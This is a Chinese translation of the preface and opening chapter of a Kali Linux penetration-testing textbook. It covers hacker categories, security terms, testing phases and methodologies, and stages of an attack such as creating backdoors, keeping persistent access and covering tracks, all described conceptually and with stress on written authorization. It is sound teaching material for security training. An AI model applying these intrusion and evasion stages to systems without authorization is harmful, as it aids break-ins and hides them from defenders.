Kali-Linux-2019-学习手册(全)

Kali Linux 2019 学习手册(全)

原文:annas-archive.org/md5/29591BFA2DAF3F905BBECC2F6DAD8828

译者:飞龙

协议:CC BY-NC-SA 4.0

前言

《学习 Kali Linux 2019》是一本充满精彩内容和练习的优秀书籍,采用以学生为中心的方法编写,易于适应并轻松跟进每一章。《学习 Kali Linux 2019》从介绍道德黑客概念和威胁行为者开始,逐渐转入渗透测试方法和方法论。每一章都流畅地过渡到下一章。在旅程的每一步,都有渗透测试阶段的详细理论和使用最流行的渗透测试平台之一 Kali Linux 的实践实验室的帮助。

读者将学会如何构建自己的渗透测试实验室环境,在目标组织上执行被动和主动侦察,使用多种工具进行漏洞扫描,以及进行无线渗透、网络渗透测试、网站和 Web 应用程序渗透测试以及客户端攻击。

此外,读者将学会使用 Metasploit 框架执行特权升级和横向移动所需的技能。《学习 Kali Linux 2019》将带领读者从初学者变成专家,同时保持读者的利益。

本书还可以用作渗透测试、道德黑客和与网络安全相关课程的培训指南。

本书适合对象

本书专为学生、网络和安全工程师、网络安全/信息安全专业人士、爱好者以及对道德黑客和渗透测试感兴趣的人设计。这本书既可以用于独立(自学)培训,也可以用于渗透测试和网络安全课程的课堂培训。

无论您是信息技术领域的新手还是经验丰富的 IT 专业人士,《学习 Kali Linux 2019》都适合每个人。虽然最好具备网络和 IT 安全的详细知识,但并非强制要求,因为本书适合任何人。

本书涵盖的内容

《第一章》《黑客入门》介绍了各种威胁行为者和渗透测试方法论和方法。

《第二章》《设置 Kali - 第 1 部分》介绍了虚拟化概念,如何构建自己的渗透测试实验室,如何安装 Kali Linux 和易受攻击的目标机器。

《第三章》《设置 Kali - 第 2 部分》着重介绍了安装和配置 Windows 和 Ubuntu 操作系统以及排除 Kali Linux 故障。

《第四章》《熟悉 Kali Linux 2019》教授了关于 Kali Linux、其特性和命令的知识,使您能够执行各种任务。

《第五章》《被动信息收集》探讨了从开放源情报(OSINT)中收集有关目标信息的被动方法,这意味着我们将从公开资源中收集有关目标的信息。

《第六章》《主动信息收集》解释了使用 DNS 询问、扫描和枚举技术主动收集信息的方法。

《第七章》《使用漏洞扫描器》探讨了各种网络和 Web 漏洞扫描器工具,包括 Nessus、Nikto、WPScan 和 Burp Suite。

《第八章》《理解网络渗透测试》涵盖了一些无线渗透测试的基本概念。

第九章,网络渗透测试-连接前攻击,探讨了无线黑客工具 aircrack-ng,去认证攻击的基本概念,以及如何创建假的接入点。

第十章,网络渗透测试-获取访问权限,介绍了获取访问权限的基础知识,以及如何使用字典和暴力攻击破解 WEP 和 WPA 加密。

第十一章,网络渗透测试-连接后攻击,探讨了信息收集、如何执行中间人攻击、使用 Wireshark 进行嗅探、提升权限以及在网络上进行横向移动。

第十二章,网络渗透测试-检测和安全,解释了如何使用 Wireshark 和数据包分析来检测 ARP 中毒攻击和可疑活动。

第十三章,客户端攻击-社会工程,解释了各种类型的社会工程攻击以及如何防御这些攻击,同时还涵盖了如何创建一个钓鱼 Facebook 页面和缓解技术。

第十四章,进行网站渗透测试,介绍了 Web 应用程序渗透测试的基础知识。读者将了解常见的基于 Web 的漏洞,如 SQL 注入、跨站脚本XSS)和跨站请求伪造CSRF)。

第十五章,网站渗透测试-获取访问权限,解释了如何使用 SQL 注入攻击绕过登录,同时为您提供了反射和存储 XSS 攻击的解释,以及如何使用 BeEF 执行客户端攻击。

第十六章,最佳实践,为渗透测试人员和 Web 应用程序安全蓝图提供指导,以确保读者在完成本书后拥有丰富的知识,并能够适应行业中的良好实践。

为了充分利用本书

为了充分利用本书,读者应该对网络有基本的了解,包括各种网络和应用协议、网络设备和设备、以及对路由和交换概念的基本了解。对 IT 安全的一些先前知识并非强制性的,但有助于理解本书中提出的概念和练习。

唯一需要的硬件是个人电脑,如笔记本电脑或台式机,操作系统能够运行 Oracle VM VirtualBox 或 VMware Workstation 15 Pro。至于规格,推荐的设置如下:

  • 处理器:Intel i5、i7 或更好

  • 硬盘:200 GB 硬盘驱动器

  • 内存:4 GB 内存(8 GB 更好)

  • 互联网连接

  • Alfa Network AWUS036NHA 无线适配器

下载彩色图片

我们还提供了一个 PDF 文件,其中包含本书中使用的屏幕截图/图表的彩色图片。您可以在这里下载:static.packt-cdn.com/downloads/9781789611809_ColorImages.pdf

使用的约定

本书中使用了许多文本约定。

CodeInText:指示文本中的代码词、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟 URL、用户输入和 Twitter 句柄。这是一个例子:“使用ifconfig命令来验证适配器的状态。”

任何命令行输入或输出都以以下形式编写:

airodump-ng --bissid <bssid value> -c <channel number> wlan0mon

粗体:表示一个新术语、一个重要词或屏幕上看到的词。例如,菜单或对话框中的单词会以这种方式出现在文本中。这是一个例子:“如果你使用 VMware,新虚拟机向导将提示你在“典型(推荐)”或“自定义(高级)”模式下继续设置。”

警告或重要说明会出现在这样的形式下。

技巧和窍门会出现在这样的形式下。

第一部分:Kali Linux 基础知识

本节涵盖了黑客基础知识,讨论了渗透测试的概念及其在对抗网络威胁中的价值。此外,读者将学习如何建立自己的渗透测试实验室,其中包含各种操作系统,以便练习和提高他们的技能。

本节包括以下章节:

  • 第一章,入门黑客

  • 第二章,设置 Kali - 第 1 部分

  • 第三章,设置 Kali - 第 2 部分

  • 第四章,熟悉 Kali Linux 2019

第一章:黑客入门

网络安全是信息技术中增长最迅速的领域之一。每天都会有大量攻击针对各种实体,从个人到大型企业甚至政府。由于数字世界中的这些威胁,组织内部正在为能够保护资产的人员创造新的职业。本书旨在为您提供渗透测试人员所需的知识和技术,以便进入网络安全领域。渗透测试人员是一种具有黑客技能的专业人员;他们受雇于组织,对其网络基础设施进行真实攻击的模拟,以发现安全漏洞,以便在真正的攻击发生之前进行防范。渗透测试人员在获得目标组织的书面合法许可的情况下执行此任务。要成为一名技能娴熟的黑客,对计算机、网络和编程以及它们如何协同工作有深刻的理解至关重要。然而,最重要的是创造力。创造性思维使一个人能够超越常规,超越技术的预期用途,找到实施它们的新方法,做出开发人员从未预期的事情。在某种程度上,黑客是艺术家。

在本书中,我们将使用最流行的渗透测试操作系统之一——Kali Linux。Kali Linux 操作系统具有数百种工具和实用程序,旨在在网络安全领域的漏洞评估、渗透测试甚至数字取证调查中协助您。我们将使用 Kali Linux 以学生为中心的方法,通过大量的从初学者级到中级再到更高级的主题和技术的实践练习,带您了解各种主题。

在本章中,您将了解黑客是什么,以及如何根据动机和行为对其进行分类。您将学习重要的术语,并了解将在本书中帮助您的方法和途径,并为您成为渗透测试人员铺平道路。您将介绍黑客的工作流程。

在本章中,我们将讨论以下主题:

  • 谁是黑客?

  • 关键术语

  • 渗透测试阶段

  • 渗透测试方法论

  • 渗透测试方法

  • 渗透测试的类型

  • 黑客行为阶段

谁是黑客?

黑客黑客黑客是 21 世纪变得无处不在的术语。您可能听说过生活技巧、商业技巧等。虽然在某种意义上,这些可能是一种形式的黑客,但我们在本书中讨论的传统黑客形式是计算机黑客。计算机黑客是利用计算机技术的艺术,以一种从未预期的方式使用它们,使它们执行意想不到的操作。

多年来,黑客行为以许多不同的名称和形式出现。在 20 世纪末,一种常见的黑客行为被称为phreaking,它利用模拟电话系统的弱点。计算机黑客行为已经存在了半个多世纪,过去几十年来,在好莱坞电影和电视节目中成为一种流行文化。几乎每天都会有相关新闻。您经常听到 Equifax、NHS 和 Home Depot 等数据泄露事件。如果您正在阅读本书,您已经迈出了更好地了解这种边缘工程形式的第一步。

现在我们对黑客有了更清晰的认识,让我们探索各种黑客的分类。

黑客的类型

黑客有许多不同的种类或风格,因此对黑客有许多分类。在本节中,我们将探讨各种类型的黑客,包括与每种类型相关的活动、技能和价值观。

以下是不同类型的黑客:

  • 黑帽

  • 白帽

  • 灰帽

  • 自杀

  • 国家赞助

  • 脚本小子

  • 网络恐怖分子

在本节结束时,你将能够比较和对比每种类型的黑客。

黑帽黑客

黑帽黑客通常对系统、网络和应用程序编程有很深的理解,他们利用这些知识进行恶意和/或犯罪目的。这种类型的黑客通常对逃避和豁免战术有深刻的理解,他们利用这些战术来避免因其行为而被监禁。

他们了解高技能道德黑客使用的常见工具和战术。被发现进行犯罪黑客行为的黑客通常会被列入道德黑客的黑名单,从而失去成为道德黑客的就业能力。

现在你对黑帽黑客有了更好的了解,让我们来看看另一种类型——遵循道德规范并帮助他人的白帽黑客。

白帽黑客

白帽黑客和黑帽黑客一样,对系统、网络和应用程序编程有很深的理解。然而,与黑帽不同的是,他们利用自己的知识和技能来测试系统、应用程序和网络的安全漏洞。这种测试是在目标的许可下进行的,用于在不道德黑客利用漏洞之前发现安全漏洞。保护系统和实体的动机,同时遵守法律和道德规范,导致白帽被称为道德黑客。

像黑帽一样,他们拥有扎实的黑客工具、攻击向量和战术知识,用于发现和利用漏洞。在测试时,他们需要像黑帽一样思考,因此必须使用创造力来想象自己处于他们希望对抗的人的位置。道德或白帽黑客是最常见的黑客形式,也是本书的重点。

现在我们了解了白帽黑客和黑帽黑客之间的区别,让我们继续看看一种在道德和非道德黑客之间寻找漏洞的黑客类型:灰帽黑客。

灰帽黑客

灰帽黑客与白帽类似,但通常独自进行漏洞研究,然后披露这些漏洞,迫使供应商通过发布软件补丁来解决问题。他们的技能通常更加注重漏洞研究战术,如模糊测试、调试和逆向工程。

有时,成为灰帽可能很困难,因为道德和非道德行为的平衡和定义不断变化。尽管他们在社区中所处的位置困难,但他们分享有关安全漏洞的宝贵信息,因此是网络安全社区的重要成员。

下一种类型的黑客使用非道德手段侵入系统,但不像黑帽那样为了个人利益而这样做——这种类型的黑客是自杀黑客。

自杀黑客

自杀黑客通常是技术水平较低的黑客,他们几乎有能力获取系统访问权限,但无法逃避检测。这些黑客不关心被抓或监禁,只要成功进入并破坏系统就满足了。他们的行为受到复仇、政治意识形态等动机驱使。这种类型的黑客不在乎是否被抓或被捕,只要工作完成就行。

接下来,我们将看看代表或在政府内部工作的黑客。

国家赞助的黑客

国家赞助的黑客通常受雇于一个国家政府,以间谍和发动网络攻击对抗另一个国家。这些黑客在社会中主导了有关黑客的讨论。

这种类型的黑客享有国家提供的所有工具和资源,并受到保护,以便有效地执行他们的职责。

然而,并非每个人都有接触网络安全培训或工具的机会。大多数人从有限的资源和技能开始,比如我们将在下一节中遇到的类型。

脚本小子

脚本小子是一种不完全了解黑客技术背景的黑客类型。他们使用其他黑客创建的脚本和工具来执行他们的肮脏工作。然而,尽管脚本小子缺乏真正黑客的技术知识,他们的行为仍然可能在数字世界中造成很大的破坏。

大多数黑客最初都是脚本小子。然后,通过发展他们的知识和技能,他们能够在黑客攻击方面取得更大的成就。最终,这导致他们选择成为本节中提到的各种其他类型的黑客之一。

黑客的最后一种类型有不同的动机,例如意识形态或政治动机,这些动机是极端的:他们是网络恐怖分子。

网络恐怖分子

网络恐怖分子是有敌意的个人或团体,旨在对其目标(如一个国家)造成混乱。他们的动机是政治性质的。网络恐怖分子根据他们的行为进行各种各样的黑客攻击,从通过破坏网络安全造成混乱,甚至通过侵入机密数据库来破坏物理安全。

完成了本节后,您现在能够区分每种类型的黑客,并了解他们的动机和技能。黑客的技能范围可以从脚本小子到黑帽水平。

接下来,让我们继续了解一些重要的术语,以便您更加熟悉网络安全社区的语言。您可能已经遇到过这些术语,并且在本书中以及在成为渗透测试人员的旅程中,通过讨论、书籍、培训等等,您将继续遇到这些术语。

探索重要的术语

每个领域都有一些术语成为该领域语言的重要部分。信息安全和网络安全也不例外。以下是最常见的术语,我们将在本节中详细探讨它们:

  • 威胁

  • 资产

  • 漏洞

  • 利用

  • 风险

  • 零日

  • 黑客价值

让我们更详细地探讨这些术语。

威胁

在网络安全方面,威胁是指有意对他人或系统造成伤害的事物或人。此外,我们可以将威胁视为有潜力对系统、网络或个人造成恶意损害的事物。

无论您在网络安全的攻击方还是防御方,您都必须始终能够识别威胁。然而,虽然我们需要意识到威胁,但我们也需要知道必须受到威胁保护。我们称需要保护的实体为资产。让我们看看构成资产的内容。

资产

在网络安全方面,资产是网络中可以进行交互并可能暴露网络或组织存在弱点的系统,这些弱点可能被利用,并为黑客提供从标准用户访问权限升级到管理员/根级访问权限或获得对网络的远程访问的途径。重要的是要提到资产不应该仅限于技术系统。其他形式的资产包括人员、物理安全控制,甚至是驻留在我们旨在保护的网络中的数据。

资产可以分为三类:

  • 有形:这些是物理的东西,如网络设备、计算机系统和设备。

  • 无形:这些是不以物理形式存在的东西,如知识产权、商业计划、数据和记录。

  • 员工:这些是推动业务或组织的人员。在网络安全领域,人类是最脆弱的实体之一。

漏洞评估和风险管理的一个关键步骤是识别组织内的所有资产。所有组织都有需要保护的资产;组织的系统、网络和资产总是存在某种安全漏洞,可以被黑客利用。接下来,我们将深入了解漏洞是什么。

漏洞

漏洞是存在于技术、物理或人类系统中的弱点或缺陷,黑客可以利用它来获取对网络中系统的访问或控制。组织内存在的常见漏洞包括人为错误(在全球范围内是最大的漏洞)、Web 应用程序注入漏洞,以及最古老的漏洞,即缓冲区溢出。

现在我们知道了漏洞是什么,让我们在下一节中看看黑客用来利用安全漏洞的工具。

利用

利用攻击是黑客利用系统内的弱点或漏洞的方式。例如,拿一把锤子、一块木头和一颗钉子。漏洞是木头的柔软、可渗透的特性,而利用是将钉子钉进木头的行为。

作为一名网络安全专业人员,你必须了解漏洞和利用,以减少被攻击的可能性。在下一节中,我们将描述风险。

风险

风险是漏洞、威胁或资产对组织造成的潜在影响,与所有其他漏洞、威胁和资产相对比计算。评估风险有助于确定特定问题引发数据泄露对组织财务、声誉或法规合规性造成损害的可能性。

减少风险对许多组织至关重要。有许多认证、标准和框架旨在帮助公司了解、识别和减少风险。稍后,在渗透测试方法部分,我们将介绍这些标准和框架。接下来,我们将看看公司不知道的威胁,因为还没有人识别它们——零日攻击。

零日

零日攻击是指世界上包括供应商在内都不知道的漏洞利用,这意味着供应商没有修补它。这些攻击通常在国家级攻击中使用,以及由大型犯罪组织使用。发现零日漏洞利用对道德黑客来说非常有价值,可以为他们赚取漏洞赏金。这些赏金是供应商支付给发现其应用程序中以前未知漏洞的安全研究人员的费用。

今天,许多组织建立了漏洞赏金计划,允许发现供应商系统中漏洞的感兴趣的人报告。报告漏洞的人,通常是零日漏洞,会得到一份奖励。然而,有些黑客故意尝试利用系统或网络以获取某种个人利益;这就是黑客价值,我们将在下一节中探讨。

黑客价值

黑客价值通常指进行系统或网络入侵的动机或原因。它是实现入侵系统目标的价值。

现在你能更好地描述渗透测试中使用的术语了。在下一节中,我们将介绍渗透测试的每个阶段。

渗透测试阶段

渗透测试虽然很有趣,但我们不能在没有作战计划的情况下攻击目标。规划确保渗透测试按照顺序的步骤来实现期望的结果,即识别漏洞。每个阶段都概述和描述了在进入下一步之前需要做什么。这确保了所有关于工作和目标的细节都能有效地收集,并且渗透测试人员清楚地了解了前方的任务。

以下是渗透测试的不同阶段:

  1. 预先参与

  2. 信息收集

  3. 威胁建模

  4. 漏洞分析

  5. 利用

  6. 后利用

  7. 报告撰写

这些阶段中的每一个将在接下来的部分中更详细地介绍。

预先参与

在预先参与阶段,选择了关键人员。这些人员对于提供信息、协调资源和帮助测试人员了解评估的范围、广度和参与规则至关重要。

这个阶段还涵盖了法律要求,通常包括保密协议NDA)和咨询服务协议CSA)。以下是实际进行渗透测试之前所需的典型流程概述:

NDA 是一份法律协议,规定渗透测试人员在评估过程中不会分享或保留任何遇到的敏感或专有信息。公司通常与网络安全公司签署这些协议,后者又会与参与项目的员工签署。在某些情况下,公司直接与承担项目的渗透测试人员签署这些协议。

渗透测试的范围定义了测试人员可以和不能黑客或测试的系统。为了确保渗透测试人员始终在法律范围内,他/她必须获得委托方或请求服务的公司的书面法律许可。此外,渗透测试人员必须提供 NDA。道德黑客与客户之间的协议还定义了敏感系统以及测试时间和哪些系统需要特殊的测试时间窗口。渗透测试人员非常重视渗透测试的范围以及他们在哪里进行测试,以始终保持在测试约束范围内非常重要。

以下是一些样本预先参与问题,以帮助您定义渗透测试的范围:

  • 你的外部网络的规模/类别是多大?(网络渗透测试。)

  • 你的内部网络的规模/类别是多大?(网络渗透测试。)

  • 渗透测试的目的和目标是什么?(适用于任何形式的渗透测试。)

  • Web 应用程序有多少页面?(Web 应用程序渗透测试。)

  • Web 应用程序有多少用户输入或表单?

这不是一个详尽的预先参与问题清单,所有的参与都应该经过深思熟虑,以确保你提出所有重要的问题,这样你就不会低估或低价参与。

现在我们已经了解了渗透测试中的法律限制阶段,让我们继续学习信息收集阶段及其重要性。

信息收集

大多数类型的渗透测试都涉及信息收集阶段,这对于确保测试人员能够获取有助于进行评估的关键信息至关重要。这在黑盒方法中并不适用,我们稍后会讨论。大多数信息收集是针对基于 Web 的应用程序渗透测试进行的,因此涉及的问题通常是针对基于 Web 的应用程序的,比如以下问题:

  • 应用程序是用什么平台编写的?

  • 应用程序是否使用任何 API?

  • 应用程序是否在Web 应用程序防火墙WAF)后面?

  • 应用程序如何处理身份验证?

  • 应用程序是否使用活动目录凭据对用户进行身份验证?

  • 用户是否以除 Web URL 之外的其他方式访问该应用程序?

  • 应用程序是面向互联网还是内部的?

  • 应用程序是否提供任何敏感信息或系统访问?

在进行任何形式的攻击之前,了解目标非常重要,因为这有助于创建潜在目标的概况。例如,在这个阶段恢复用户凭据/登录帐户将对渗透测试的后续阶段至关重要,因为它将帮助我们访问易受攻击的系统和网络。接下来,我们将讨论威胁建模的基本要点。

威胁建模

威胁建模是一个过程,用于帮助测试人员和防御者更好地了解激发评估的威胁或应用程序或网络最容易受到的威胁。然后使用这些数据来帮助渗透测试人员模拟、评估和解决组织、网络或应用程序面临的最常见威胁。

了解组织面临的威胁后,下一步是对资产进行漏洞评估,以进一步确定风险评级和严重性。

漏洞分析

漏洞分析通常涉及评估者或测试人员运行漏洞或网络/端口扫描,以更好地了解网络或应用程序正在运行哪些服务,以及评估范围内的任何系统中是否存在漏洞。这个过程通常包括手动漏洞测试/发现,这通常是漏洞分析或漏洞评估最准确的形式。

有许多免费和付费的工具可以帮助我们快速识别目标系统或网络上的漏洞。在发现安全漏洞后,下一个阶段是尝试利用。

利用

利用是渗透测试中最常被忽视或忽略的部分,事实上,客户和高管只有在了解为什么漏洞对他们很重要时才会关心漏洞。利用是帮助阐明漏洞重要性并说明漏洞可能对组织造成的影响的弹药或证据。此外,没有利用,评估就不是渗透测试,而只是漏洞评估,大多数公司可以比第三方顾问更好地进行。

简而言之,在信息收集阶段,渗透测试人员将对目标进行概况,并识别任何漏洞。接下来,利用有关漏洞的信息,渗透测试人员将进行研究并创建特定的利用程序,以利用目标的漏洞。这就是利用。我们使用利用程序(恶意代码)来利用系统中的漏洞,这将允许我们在目标上执行任意代码和命令。

通常在成功利用目标系统或网络后,我们可能会认为任务已经完成了,但实际上还没有。在成功入侵系统后,还有任务和目标要完成。这就是渗透测试中的利用后阶段。

利用后

利用是获取可能包含敏感信息的系统的过程。利用后的过程是这一步的延续,利用获得的立足点来访问数据或传播到网络中的其他系统。在利用后的过程中,主要目标通常是展示漏洞和获得的访问对组织可能造成的影响。这种影响有助于帮助高管更好地了解漏洞及其可能给组织造成的损害。

报告撰写

报告撰写就是其字面意思,是任何渗透测试中最重要的元素之一。渗透测试可能是服务,但报告撰写是客户看到的交付成果,也是评估结束时交付给客户的唯一有形元素。报告应该得到与测试一样多的关注和关心。

我将在本书的后面更详细地介绍报告撰写,但报告撰写涉及的远不止列出评估过程中发现的一些漏洞。这是您传达风险、业务影响、总结发现并包括纠正步骤的媒介。一个优秀的渗透测试人员需要成为一个优秀的报告撰写者,否则他们发现的问题将会被忽略,可能永远不会被雇佣他们进行评估的客户理解。

完成了本节,您现在能够描述渗透测试的每个阶段。此外,您对行业中渗透测试人员的期望有了更清晰的了解。接下来,我们将深入了解各种渗透测试方法论、标准和框架。

渗透测试方法论

在渗透测试领域,有许多官方和标准的方法论用于对目标系统或网络进行渗透测试。

在接下来的部分,我们将讨论在网络安全中使用的最流行的标准和框架,以确保组织达到在安全环境中运营的可接受基线。

OWASP

OWASP代表开放网络应用安全项目,它提供方法论以及列出了网页应用中存在的前 10 大安全弱点。这个列表是网页应用渗透测试人员使用的事实框架,也是大多数公司在雇佣渗透测试人员测试他们的网页应用时寻找的内容。这也是最常见和普遍的渗透测试形式。

这是最流行的框架之一,每个渗透测试人员在进行网页应用测试时都应对其有清晰的理解。然而,理解其他框架,如 NIST,同样重要。

NIST

NIST代表国家标准与技术研究所。NIST 是美国政府的一个部门,它出版了许多特别出版物,定义了组织在提高安全性方面应采用的最佳实践和标准。了解 NIST 对于将发现的漏洞映射到适当的规则以帮助组织了解评估过程中发现的问题的合规性影响非常重要。

有时,目标组织可能需要使用特定框架或标准进行安全测试。作为渗透测试人员,熟悉 OSSTMM 对与目标组织的合作可能会有所帮助。

OSSTMM

OSSTMM代表开源安全测试方法手册。这是一个由社区驱动、经常更新和经过同行评审的安全测试标准集,每个道德黑客都应该了解并保持更新。这些标准往往涵盖了广泛的测试主题,对于刚进入这个行业的人来说尤其有价值,可以帮助他们更好地理解流程和测试最佳实践。

OSSTMM 中的知识将成为渗透测试人员的重要资产。在接下来的部分,我们将讨论理解 SANS 25 的好处。

SANS 25

SANS 25是由 SANS 研究所定义的前 25 个安全领域的列表。在进行评估时,了解这个列表并理解您的发现与该列表的关系是很有帮助的。此外,了解前 25 个领域可以帮助增加您对安全漏洞的了解广度。这些问题通常远远超出了仅通过渗透测试发现的范围,了解这些问题甚至可能帮助您在评估过程中识别额外的漏洞或风险趋势。

在我的工作机会中,雇主通常希望确保他们的渗透测试人员熟悉并理解这些渗透测试框架和标准。在对特定行业的组织进行安全测试/审计时,这些信息是有用的。

现在你对流行的渗透测试方法有了更好的理解,让我们深入了解三种渗透测试方法。

渗透测试方法

以下是对目标组织进行渗透测试的不同方法:

  • 白盒

  • 黑盒

  • 灰盒

让我们看看每种测试都包含什么。

白盒

白盒评估通常用于 Web 应用程序测试,但也可以扩展到任何形式的渗透测试。白盒、黑盒和灰盒测试之间的关键区别在于测试人员在参与测试之前提供的信息量。在白盒评估中,测试人员将获得有关应用程序及其技术的全部信息,并通常会提供具有不同访问权限的凭据,以便快速而彻底地识别应用程序、系统或网络中的漏洞。

并非所有的安全测试都是使用白盒方法进行的;有时,渗透测试人员只提供目标公司的名称。接下来,我们将介绍黑盒测试的基础知识。

黑盒

黑盒评估是网络渗透评估中最常见的形式,通常在外部网络渗透测试和社会工程渗透测试中最典型。在黑盒评估中,测试人员对他们正在测试的网络或系统几乎没有或没有任何信息。这种特定形式的测试对大多数 Web 应用程序测试来说效率低下,因为需要凭据才能测试认证漏洞,如横向和纵向特权升级。

在黑盒测试不适用的情况下,存在另一种介于白盒和黑盒之间的方法,这就是灰盒。

灰盒

灰盒评估是白盒和黑盒测试的混合体,通常用于提供真实的测试场景,同时为渗透测试人员提供足够的信息,以减少进行侦察和其他黑盒测试活动所需的时间。除此之外,在任何评估中,确保测试所有范围内的系统是很重要的。在真正的黑盒中,有可能会漏掉系统,因此将其排除在评估之外。灰盒通常是网络渗透测试的最佳形式,因为它为客户提供了最大的价值。

每种渗透测试方法都与其他方法不同,你了解所有这些方法是至关重要的。想象一下潜在客户打电话给我们,要求对他们的外部网络进行黑盒测试;作为渗透测试人员,我们必须熟悉这些术语和预期结果。

现在我们已经介绍了不同的测试方法,让我们深入了解各种类型的渗透测试。

渗透测试类型

漏洞和端口扫描无法识别手动测试可以发现的问题,这就是组织雇佣渗透测试人员进行这些评估的原因。提供扫描而不是手动测试是一种欺诈行为,而且在我看来,这是非常不道德的。如果你无法通过测试,那就练习、练习,再练习一些。你将在本书的后面学习合法的方式来提高你的技艺。

在接下来的部分中,我们将深入研究各种类型的渗透测试。

Web 应用程序渗透测试

Web 应用程序渗透测试,以下简称 WAPT,是最常见的渗透测试形式,也可能是大多数读者将参与的第一个渗透测试工作。WAPT 是对 Web 应用程序进行手动黑客攻击或渗透测试,以测试扫描器无法发现的漏洞。测试人员经常提交 Web 应用程序漏洞扫描,而不是手动查找和验证 Web 应用程序中的问题。

现在您已经对 WAPT 有了基本的了解,让我们在下一节中看一下移动应用程序渗透测试。

移动应用程序渗透测试

移动应用程序渗透测试类似于 Web 应用程序渗透测试,但专门针对包含其自身攻击向量和威胁的移动应用程序。这是一种不断发展的渗透测试形式,对于那些希望进入渗透测试并了解移动应用程序开发的人来说,有很多机会。

您可能已经注意到,不同类型的渗透测试各自具有特定的目标。接下来,我们将看一种更加人性化的方法,即社会工程。

社会工程渗透测试

在我看来,社会工程渗透测试是最充满肾上腺素的测试类型。社会工程是操纵基本人类心理学的艺术,以找到人类的弱点,并让人们做一些他们可能不会做的事情。在这种形式的渗透测试中,您可能会被要求执行诸如发送钓鱼邮件、进行 vishing 电话呼叫,或者通过谈话方式进入安全设施,以确定攻击者针对其人员可能实现的目标。我个人曾经通过电话获得了域管理员访问权限,通过谈话方式进入了银行金库和赌场的钱柜,并通过谈话方式进入了一家财富 500 强的数据中心。

社会工程攻击有许多类型,这将在本书的后面进行介绍。最常见的是,您将被要求对系统和网络进行安全审计。在下一节中,我们将讨论网络渗透测试。

网络渗透测试

网络渗透测试侧重于识别目标环境中的安全漏洞。渗透测试的目标是识别目标组织系统、网络(有线和无线)以及交换机和路由器等网络设备的缺陷。

以下是一些使用网络渗透测试执行的任务:

  • 绕过入侵检测系统(IDS)/入侵预防系统(IPS)

  • 绕过防火墙设备

  • 密码破解

  • 获取对终端设备和服务器的访问权限

  • 利用交换机和路由器的错误配置

现在您对网络渗透测试的目标有了更好的了解,让我们看看云渗透测试的目的。

云渗透测试

云渗透测试涉及对云平台的安全评估和渗透测试,以发现可能使机密信息暴露给恶意用户的任何漏洞。

在直接参与云平台之前,请确保您已经得到了供应商的合法许可。例如,如果您要在 Azure 平台上进行渗透测试,您将需要微软的合法许可。

在下一节中,我们将介绍物理渗透测试的基本知识。

物理渗透测试

物理渗透测试侧重于测试用于保护组织数据的物理安全访问控制系统。办公室和数据中心内存在安全控制,以防止未经授权的人员进入公司的安全区域。

物理安全控制包括以下内容:

  • 安全摄像头和传感器:安全摄像头用于监视区域内的物理行为。

  • 生物识别认证系统:生物识别用于确保只有授权人员才能进入某个区域。

  • 门和锁:锁定系统用于防止未经授权的人员进入房间或区域。

  • 保安人员:保安人员是被指派保护某物、某人或某个区域的人。

完成了这一部分,你现在能够描述各种类型的渗透测试。你的旅程还不完整,没有理解黑客的各个阶段。黑客的不同阶段将在下一部分中介绍。

黑客阶段

在任何渗透测试培训中,你将会遇到五个黑客阶段。这些阶段如下:

  1. 侦察

  2. 扫描

  3. 获取访问权限

  4. 维持访问

  5. 覆盖踪迹

在接下来的部分中,我们将详细描述每个阶段。

侦察或信息收集

侦察或信息收集阶段是攻击者专注于获取有关目标的有意义信息的阶段。这是黑客中最重要的阶段:对目标了解的越多,就越容易发现并利用弱点。

以下是侦察阶段使用的技术:

  • 使用搜索引擎收集信息

  • 使用社交网络平台

  • 执行 Google 黑客攻击

  • 执行 DNS 查询

  • 社会工程

在这个阶段,目标是尽可能多地收集有关目标的信息。在下一部分中,我们将讨论使用更有针对性的方法,接触目标以获取更具体和详细的信息。

扫描

黑客的第二阶段是扫描。扫描涉及使用直接方法来接触目标,以获取侦察阶段无法访问的信息。这个阶段涉及对目标组织、其系统和网络基础设施进行概要。

以下是扫描阶段使用的技术:

  • 检查任何活动系统

  • 检查防火墙及其规则

  • 检查开放的网络端口

  • 检查运行的服务

  • 检查安全漏洞

  • 创建目标网络的网络拓扑

这个阶段非常重要,因为它帮助我们创建目标的概要。在这个阶段找到的信息将帮助我们继续对目标系统或网络进行利用。

获得访问

这个阶段有时可能是最具挑战性的阶段。在这个阶段,攻击者利用从前几个阶段获得的信息来利用目标。成功利用漏洞后,攻击者可以远程执行恶意代码并远程访问受损系统。

一旦获得访问权限,以下情况可能发生:

  • 密码破解

  • 利用漏洞

  • 提升权限

  • 隐藏文件

  • 横向移动

获得访问(利用)阶段有时可能很困难,因为漏洞可能在一个系统上起作用,而在另一个系统上则不起作用。一旦利用成功并获得系统访问权限,下一个阶段就是确保你能够与目标保持持久连接。

维持访问

在利用系统后,攻击者通常应确保只要系统在线,他们就能随时访问受害者的系统。这是通过在目标上创建后门访问并在攻击者的机器和受害者的系统之间建立持久的反向或绑定连接来实现的。

维持访问的目标如下:

  • 横向移动

  • 数据外泄

  • 创建后门和持久连接

维持访问对于确保你,渗透测试人员,始终能够访问目标系统或网络非常重要。一旦渗透测试的技术方面完成,就该是清理网络的时候了。

覆盖踪迹

最后一个阶段是覆盖痕迹。这确保您在被攻击的系统上不留下任何痕迹。作为渗透测试人员,我们希望在目标网络上尽可能不被发现,不触发任何警报,同时清除在渗透测试期间执行的任何残留痕迹。

覆盖痕迹确保您在网络上不留下任何存在的痕迹,因为渗透测试旨在隐秘进行,并模拟对组织的真实世界攻击。

总结

在本章中,我们讨论了不同类型的黑客,概述了它们的主要特征。我们涵盖了各种类型的渗透测试和阶段,包括探讨了在网络安全行业中使用的流行测试方法和方法。

您现在能够比较和对比不同类型的黑客。您已经获得了网络安全行业中使用的各种术语的知识和理解,并且已经掌握了渗透测试的重要性和不同阶段。您能够区分各种类型的渗透测试,例如网络、Web 甚至云渗透测试。

在第二章,“设置 Kali-第 1 部分”,和第三章,“设置 Kali-第 2 部分”,我们将介绍设置自己的虚拟渗透测试实验室的步骤,以便练习和建立技能。我希望本章对您的学习和职业有所帮助和信息。

问题

  1. 什么类型的黑客依赖于他人创建的指令和工具,但不了解黑客的技术方面?

  2. 黑客的最后阶段是什么?

  3. 哪种渗透测试方法用于 Web 应用程序?

  4. 在哪种方法中,渗透测试人员对目标了解最少?

  5. 一个国家政府雇佣了什么类型的黑客?

进一步阅读

第二章:设置 Kali - 第 1 部分

